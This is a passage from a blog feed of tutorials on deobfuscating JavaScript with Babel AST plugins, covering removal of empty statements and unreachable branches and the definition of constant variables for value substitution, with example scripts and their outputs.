class="hljs-number">3</span>;<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"a is"</span>, a, <span class="hljs-string">"b is"</span>, b);<br></code></pre></td></tr></table></figure><p>The presence of empty statements doesn’t really add much to obfuscation, but removing them will still remove unnecessary noise and optimize the appearance.</p><h3 id="Analysis-Methodology-1"><a href="#Analysis-Methodology-1" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>We begin by pasting the example obfuscated script into <a href="https://astexplorer.net/">AST Explorer</a></p><p><img src="/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/empty1.PNG" alt="A view of the obfuscated code in AST Explorer"></p><p>We can observe that the top-level view is polluted by <em>EmptyStatement</em> nodes, causing a slight inconvenience when trying to navigate through the AST structure.</p><p>The deobfuscator logic is very simple:</p><ol><li>Traverse the AST for <em>EmptyStatement</em> nodes.</li><li>When one is encountered, delete it with <code>path.remove()</code></li></ol><p>The babel implementation is shown below:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for deleting empty statements</span><br> <span class="hljs-keyword">const</span> deleteEmptyStatementsVisitor = {<br> <span class="hljs-title class_">EmptyStatement</span>(path) {<br> path.<span class="hljs-title function_">remove</span>();<br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, deleteEmptyStatementsVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./emptyStatementSrc.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result-1"><a href="#Post-Deobfuscation-Result-1" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> a = <span class="hljs-number">2</span>;<br><span class="hljs-keyword">const</span> b = <span class="hljs-number">3</span>;<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"a is"</span>, a, <span class="hljs-string">"b is"</span>, b);<br></code></pre></td></tr></table></figure><p>And all of the useless <em>EmptyStatements</em> are now removed, enabling easier reading and navigation through the AST.</p><h2 id="Example-3-Unreachable-Code-If-Statements-and-Logical-Expressions"><a href="#Example-3-Unreachable-Code-If-Statements-and-Logical-Expressions" class="headerlink" title="Example 3: [Unreachable Code] If Statements and Logical Expressions"></a>Example 3: [Unreachable Code] If Statements and Logical Expressions</h2><p>Let’s take the following ‘obfuscated’ code snippet as an example:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * unreachableLogicalCodeObfuscated.js</span><br><span class="hljs-comment"> */</span><br><br><span class="hljs-keyword">if</span> (!![]) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 1"</span>);<br>} <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>);<br>}<br><br><span class="hljs-keyword">if</span> (<span class="hljs-number">40</span> > <span class="hljs-number">80</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>);<br>} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-number">1</span> < <span class="hljs-number">2</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 2"</span>);<br>} <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>);<br>}<br><br>![] ? <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>) : <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 3"</span>);<br><br><span class="hljs-comment">// Chained example</span><br><br><span class="hljs-keyword">if</span> (!![]) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 4"</span>);<br> ![]<br> ? <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>)<br> : <span class="hljs-literal">false</span><br> ? <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs"</span>)<br> : <span class="hljs-number">40</span> < <span class="hljs-number">20</span><br> ? <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>)<br> : <span class="hljs-number">80</span> > <span class="hljs-number">1</span><br> ? <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 5"</span>)<br> : <span class="hljs-number">40</span> > <span class="hljs-number">2</span><br> ? <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>)<br> : <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>);<br>} <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This never runs."</span>);<br>}<br></code></pre></td></tr></table></figure><p>This is an extremely simple example, especially since the <code>console.log</code> calls tell you exactly what runs and what doesn’t. Keep in mind that code you find in the wild will probably be layered with other obfuscation techniques too. However, this is a good example for understanding the core concept. Rest assured though: the method I’ll discuss should still be universal to all types of unreachable code obfuscation.</p><h3 id="Analysis-Methodology-2"><a href="#Analysis-Methodology-2" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>As always, we start our analysis by pasting the code into <a href="https://astexplorer.net/">AST Explorer</a></p><p><img src="/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/unreachable1.PNG" alt="A view of the obfuscated code in AST Explorer"></p><p>We can see that at the top level, the file consists of <em>IfStatements</em> and an <em>ExpressionStatement</em>. If we expand the <em>ExpressionStatement</em>, we can see that ternary operator logical expressions are actually of type <em>ConditionalExpression</em>. Expanding an <em>IfStatement</em> and a <em>ConditionalExpression</em> for comparison, we can notice some similarities:</p><p><img src="/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/unreachable2.PNG" alt="Comparison of IfStatement vs. ConditionalExpression nodes"></p><p>We can see that aside from their type, both an <em>IfStatement</em> and a <em>ConditionalExpression</em> both have the exact same structure. That is, both contain:</p><ul><li><p>A <code>test</code> property, which is the test condition. It will either evaluate to true or false.</p></li><li><p>A <code>consequent</code> property, which contains the code to be executed if <code>test</code> evaluates to a truthy value.</p></li><li><p>A <code>alternate</code> property, which contains the code to be executed if <code>test</code> evaluates to a falsy value.</p><ul><li>Note: This property is optional, since an If Statement need not be accompanied by an else.</li></ul></li></ul><p>For our deobfuscator, we’ll make use of one of the babel API methods: <code>NodePath.evaluateTruthy()</code>.</p><p>This method takes in a path, then evaluates its node. If the node evaluates to a <em>truthy</em> value, the method returns <code>true</code>. If the node evaluates to a <em>falsy</em> value, the method returns <code>false</code>. <em>See: <strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/Truthy">Truthy Values</a></strong> vs. <strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/Falsy">Falsy Values</a></strong></em></p><p>The steps for creating the deobfuscator are as follows:</p><ol><li>Traverse the AST for <em>IfStatements</em> and <em>ConditionalExpressions</em>. Since both node types have the same structure, we can write a single plugin for both.<ul><li><strong>Tip</strong>: _To write a function that works for multiple visitor nodes, we can add an _ <code>|</code> <em>seperating them in the method name as a string like this:</em> <code>"IfStatement|ConditionalExpression"</code></li></ul></li><li>When one is encountered, use the <code>NodePath.evaluateTruthy()</code> method on the <code>test</code> property’s NodePath.</li><li>if the <code>NodePath.evaluateTruthy()</code> method returns true:<ol><li>Replace the path with the contents of <code>consequent</code>.</li><li><em>(Optional)</em> If the consequent is contained within a <em>BlockStatement</em> (curly braces), we can replace it with the <code>consequent.body</code> to get rid of the curly braces.</li></ol></li><li>if the <code>NodePath.evaluateTruthy()</code> method returns false:<ol><li>If the <code>alternate</code> property exists, replace the path with its contents.</li><li><em>(Optional)</em> If the alternate is contained within a <em>BlockStatement</em> (curly braces), we can replace it with the <code>alternate.body</code> to get rid of the curly braces.</li></ol></li></ol><p>The babel implementation is shown below:</p><h3 id="Babel-Implementation-1"><a href="#Babel-Implementation-1" class="headerlink" title="Babel Implementation"></a>Babel Implementation</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for simplifying if statements and logical statements</span><br> <span class="hljs-keyword">const</span> simplifyIfAndLogicalVisitor = {<br> <span class="hljs-string">"ConditionalExpression|IfStatement"</span>(path) {<br> <span class="hljs-keyword">let</span> { consequent, alternate } = path.<span class="hljs-property">node</span>;<br> <span class="hljs-keyword">let</span> testPath = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"test"</span>);<br> <span class="hljs-keyword">const</span> value = testPath.evaluateTruthy();<br> <span class="hljs-keyword">if</span> (value === <span class="hljs-literal">true</span>) {<br> <span class="hljs-keyword">if</span> (t.<span class="hljs-title function_">isBlockStatement</span>(consequent)) {<br> consequent = consequent.<span class="hljs-property">body</span>;<br> }<br> path.<span class="hljs-title function_">replaceWithMultiple</span>(consequent);<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (value === <span class="hljs-literal">false</span>) {<br> <span class="hljs-keyword">if</span> (alternate != <span class="hljs-literal">null</span>) {<br> <span class="hljs-keyword">if</span> (t.<span class="hljs-title function_">isBlockStatement</span>(alternate)) {<br> alternate = alternate.<span class="hljs-property">body</span>;<br> }<br> path.<span class="hljs-title function_">replaceWithMultiple</span>(alternate);<br> } <span class="hljs-keyword">else</span> {<br> path.<span class="hljs-title function_">remove</span>();<br> }<br> }<br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, simplifyIfAndLogicalVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./unreachableLogicalCodeObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result-2"><a href="#Post-Deobfuscation-Result-2" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 1"</span>);<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 2"</span>);<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 3"</span>);<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"This always runs! 4"</span>);<br></code></pre></td></tr></table></figure><p>And only the code which is designed to execute persists, a full restoration of the code!</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>Cleaning up dead/unreachable code is an essential component of the deobfuscation process. I would recommend doing it at least twice per program:</p><ol><li><p>Firstly, at the start of the deobfuscation process. This will make the obfuscated script much more manageable to navigate, as you can focus on the important parts of the program instead of junk code</p></li><li><p>At the end of the deobfuscation process, as part of the clean-up stage. Simplifying obfuscated code tends to reveal more dead code that can be removed, and removing it at the end results in a cleaner final product.</p></li></ol><p>This article also gave a nice introduction to one of the useful Babel API methods. Unfortunately, there isn’t much good documentation out there aside from the <a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md">Babel Plugin Handbook</a>. However, you can discover a lot more useful features Babel has to offer by reading its source code, or using the debugger of an IDE to list and test helper methods (the latter of which I personally prefer 😄).</p><p>If you’re interested, you can find the source code for all the examples in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials">this repository</a>.</p><p>Okay, that’s all I have for you today. I hope that this article helped you learn something new. Thanks for reading, and happy reversing!</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
<entry>
<title>Deobfuscating Javascript via AST: Replacing References to Constant Variables with Their Actual Value</title>
<link href="/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/"/>
<url>/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/</url>
<content type="html"><![CDATA[<h1 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h1><p>This article assumes a preliminary understanding of Abstract Syntax Tree structure and <a href="https://babeljs.io/">BabelJS</a>. <a href="http://steakenthusiast.github.io/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/">Click Here</a> to read my introductory article on the usage of Babel.</p><h1 id="Definition-of-a-Constant-Variable"><a href="#Definition-of-a-Constant-Variable" class="headerlink" title="Definition of a Constant Variable"></a>Definition of a Constant Variable</h1><p>For our purposes, a constant variable is any variable that meets <em><strong>all three</strong></em> of the following conditions:</p><ul><li>The variable is declared <strong>AND</strong> initialized at the same time.</li><li>The variable is initialized to a <em>literal value</em>, e.g. <em>StringLiteral</em>, <em>NumericLiteral</em>, <em>BooleanLiteral</em>, etc.</li><li>The variable is never reassigned another value in the script</li></ul><p>Therefore, a variable’s declaration keyword (<code>let</code>,<code>var</code>,<code>const</code>) has no bearing on whether or not it is a constant.</p><p>Here is a quick example:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> a = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];<br><span class="hljs-keyword">var</span> d = <span class="hljs-number">12</span>;<br><span class="hljs-keyword">let</span> e = <span class="hljs-string">"String!"</span>;<br><span class="hljs-keyword">let</span> f = <span class="hljs-number">13</span>;<br><span class="hljs-keyword">let</span> g;<br><br>f += <span class="hljs-number">2</span>;<br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(a, b, d, e, f);<br>g = <span class="hljs-number">14</span>;<br></code></pre></td></tr></table></figure><p>In this example:</p><ul><li><code>a</code> is not a constant, since it’s initialized as an <em>ArrayExpression</em>, not a <em>Literal</em></li><li><code>d</code> is a constant, as it is declared and initialized to a <em>NumericLiteral</em>. Declaration and initialization happen at the same time. It is also never reassigned.</li><li><code>e</code> is a constant, as it is declared and initialized to a <em>StringLiteral</em>. Declaration and initialization happen at the same time. It is also never reassigned.</li><li><code>f</code> is not a constant, since it is reassigned after initialization: <code>f+=2</code></li><li><code>g</code> is not a constant, since it is not declared and initialized at the same time.</li></ul><p>The reasoning for declared but uninitialized variables not counting as a constant is an important concept to understand. Take the following script as an example:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo; <span class="hljs-comment">// Initialization</span><br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(foo); <span class="hljs-comment">// => undefined</span><br><br>foo = <span class="hljs-number">2</span>;<br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(foo); <span class="hljs-comment">// => 2</span><br></code></pre></td></tr></table></figure><p>Console Output:</p><figure class="highlight actionscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs actionscript"><span class="hljs-literal">undefined</span><br><span class="hljs-number">2</span><br></code></pre></td></tr></table></figure><p>If, in this case, we tried to substitute <code>foo</code>‘s initialization value (<code>2</code>) for each reference of<code>foo</code>:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo; <span class="hljs-comment">// Initialization</span><br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-number">2</span>); <span class="hljs-comment">// => 2, NOT undefined!</span><br><br>foo = <span class="hljs-number">2</span>;<br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-number">2</span>); <span class="hljs-comment">// => 2</span><br></code></pre></td></tr></table></figure><p>Console Output:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs">2<br>2<br></code></pre></td></tr></table></figure><p>Which clearly breaks the original functionality of the script due to not accounting for the state of the variable at certain points in the script. Therefore, we must follow the 3 conditions when determining a constant variable.</p><p>I’ll now discuss an example where substituting in constant variables can be useful for deobfuscation purposes.</p><h1 id="Examples"><a href="#Examples" class="headerlink" title="Examples"></a>Examples</h1><p>Let’s say we have a very simple, unobfuscated script that looks like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "Input.js"</span><br><span class="hljs-comment"> * Original, unobfuscated code.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">var</span> url = <span class="hljs-string">"https://api.n0tar3als1t3.dev:1423/getData"</span>;<br><span class="hljs-keyword">const</span> req = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> random = <span class="hljs-title class_">Math</span>.<span class="hljs-title function_">random</span>() * <span class="hljs-number">1000</span>;<br> <span class="hljs-keyword">var</span> xhr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();<br> xhr.<span class="hljs-title function_">open</span>(<span class="hljs-string">"GET"</span>, url);<br> xhr.<span class="hljs-title 